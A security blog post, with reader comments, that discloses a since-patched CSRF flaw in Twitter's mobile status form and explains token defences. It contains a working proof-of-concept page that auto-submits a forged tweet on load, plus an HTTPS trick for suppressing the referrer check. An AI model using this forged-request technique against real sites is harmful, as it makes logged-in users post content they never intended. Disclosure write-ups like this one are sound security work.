Cross-Site Request Forgery Vulnerability in Twitter
Update: Check out the comments! Supposedly it’s patched but I tried it again and it worked. I probably caught them in the middle of a fix, so it’ll probably be fixed soon, maybe by the time you read this. OK, it’s patched, for-real now!
The post is still worth reading if you’re interested in CSRF vulnerabilities, though. A friend of mine read it, with no previous knowledge and then found an even better vulnerability in an even bigger app than this in what seemed like minutes. I’m totally jealous.
The quick and dirty: By viewing a page on a completely unrelated site while logged into Twitter, you can be forced to post something to your Twitter that you did not intend to post.
If you have a valid login session with Twitter going right now, click here to make yourself post an inspirational message about me. Nevermind the certificate: the same can be done with a good cert.
This still works, but I’m going to go ahead and post about it for a few reasons:
- It’s not easy to figure out where you’re supposed to submit or email security concerns to Twitter. I submitted something to http://twitter.com/help/, but I don’t even know if anyone read it.
- Regarding (1), if you search Google for: twitter “security contact” right now, it turns out that I’m the first hit.
- If someone manages to trick you into posting something to your twitter, it’s bad, but it’s not exactly the end of the world.
- It’s fairly easy for you, as a Twitter user, to avoid it.
- It’s a good, simple, real-world example of CSRF and might get you thinking about how handle this in your own applications.
For those of you who are new to the concept, Cross-Site Request Forgery (CSRF) is an attack where a page on one site causes the user’s browser to submit a request to another site. If the browser has a valid cookie for a logged-in session on the target site, then requests can be made to do very bad things. It’s easy to make cross-site GET requests: just put your URL with the parameters you want to send into an img tag. It’s only slightly less trivial to do the same with POSTs, which requires a little bit of javascript.
One good way to protect against CSRF attacks is to have an unpredictable, generated token as a hidden value in each form presented to the user, and to check that token when the form is submitted. If the page that is submitting a request to the other site can’t guess what the token is, then the request fails. If you look at the Twitter interface’s update form, it looks like they implement this kind of protection:
<form action="/account/update_send_via" id="send_via_form"
method="post" onsubmit="new Ajax.Request('/account/update_send_via',
{asynchronous:true, evalScripts:true,
parameters:Form.serialize(this) + '&authenticity_token='
+ encodeURIComponent('0e7c1206546db5df229099cf9e8a7cb503d25cab')});
return false;"><div style="margin:0;padding:0"><input
name="authenticity_token" type="hidden"
value="0e7c1206546db5df229099cf9e8a7cb503d25cab" /></div>
<fieldset>
<input checked="checked"
id="current_user_send_via_im"
name="current_user[send_via]"
onclick="$('send_via_form').onsubmit()"
type="radio" value="im" />
<label for="current_user_send_via_im">im</label><br />
<input id="current_user_send_via_none"
name="current_user[send_via]"
onclick="$('send_via_form').onsubmit()" type="radio"
value="none" />
<label for="current_user_send_via_none">web-only</label>
</fieldset>
</form>
I actually didn’t even try to CSRF the above. There’s an “authenticity_token” input, which looks to be the token I mentioned above. It’s all very complicated looking, and I didn’t feel like bothering with it when I knew what I really ought to be looking at: the mobile interface.
Twitter’s mobile interface, which you can switch to at the bottom of your Twitter page, has a much simpler form for updating:
<code> <form action="/status/update" method="post"> <input type="hidden" name="source" value="mobile" /> <input type="text" name="status" id="status"
maxlength="140" class="i" value=""/> <br/> <input type="submit" value="update" class="b"/> </form> </code>
Much easier. I whipped up this test HTML and put it on my web space:
<html>
<script>
function post_form()
{
document.twitform.submit();
}
</script>
<body onLoad='post_form()'>
<form action='http://m.twitter.com/status/update'
name='twitform' method='POST'> <input type='hidden' name='source' value='mobile'> <input type='hidden' name='status' value="I truly believe
@McGrewSecurity to be the nicest guy I've ever known. http://tinyurl.com/3fjvn5"> </form> </body> </html>
Then, I navigated to it, and was surprised to see…

Bad news and good news for the attacker. Bad news: it checks the referrer. Good news: it comes right out and tells us what we need to do. There are a few situations where HTTP_REFERER is suppressed. The easiest way we can make this happen is by hosting the code at an https:// URL.
If you have a valid login session with Twitter going right now, click here to allow a page to post a message about me to your Twitter. For the example to work, you’ll need to accept the certificate, however there the same trick will work if the site has a properly signed cert. There are other situations where HTTP_REFERER is not passed: local files and FTP URLs, for example.
If you want to avoid falling prey to this until it is patched, it’s pretty simple: use a third-party Twitter client and leave yourself logged out of the web-based interface unless you need it at the moment. If you’re a serious Twitter user, you’re probably already doing this.
Hi, I’m one of Twitter’s engineers. A friend brought this post to my attention this evening.
Thanks for taking the time to write this up and develop a proof-of-concept. I’ve patched this vulnerability, and we’ll work to make it easier to contact us with security problems. We do read both abuse@twitter.com and security@twitter.com, in the meantime. Our full-time support staff also goes through all tickets and routes any security issues reported there to the appropriate engineers.
Hi Alex! I see that the mobile form now has a token, however it seems like it’s not being checked at the moment, as the CSRF still seems to go through fine. Perhaps I’ve caught you in the middle of the fix :-)
It’s quite funny that I’ve reported this CSRF issue to twitter about 3 weeks ago and supplied them 2 PoC to bypass REFERRER via HTTPS trick and JS. But they didn’t reply. I was waiting for 30 days before release it.
Anyway,
2 PoC, one based on HTTPS>HTTP, other one is JS
https://ferruh.mavituna.com/opensource/twitter/
https://ferruh.mavituna.com/opensource/twitter-2/
Looks like they’ve fixed though.
Hi Ferruh!
Thanks for dropping the note. Good example of how one can never assume they’re the only one sitting on a vulnerability :).
Sounds like they’re interested in improving their response now.
Have a good one!
Wesley
[...] 2008-04-08 – Cross-Site Request Forgery Vulnerability in Twitter – Wesley McGrew [...]
[...] a CSRF vulnerability spotted in twitter. Twitter has two post screens, one of them for mobile and one of them for normal web browsers. Even [...]
[...] a CSRF vulnerability spotted in twitter. Twitter has two post screens, one of them for mobile and one of them for normal web browsers. Even [...]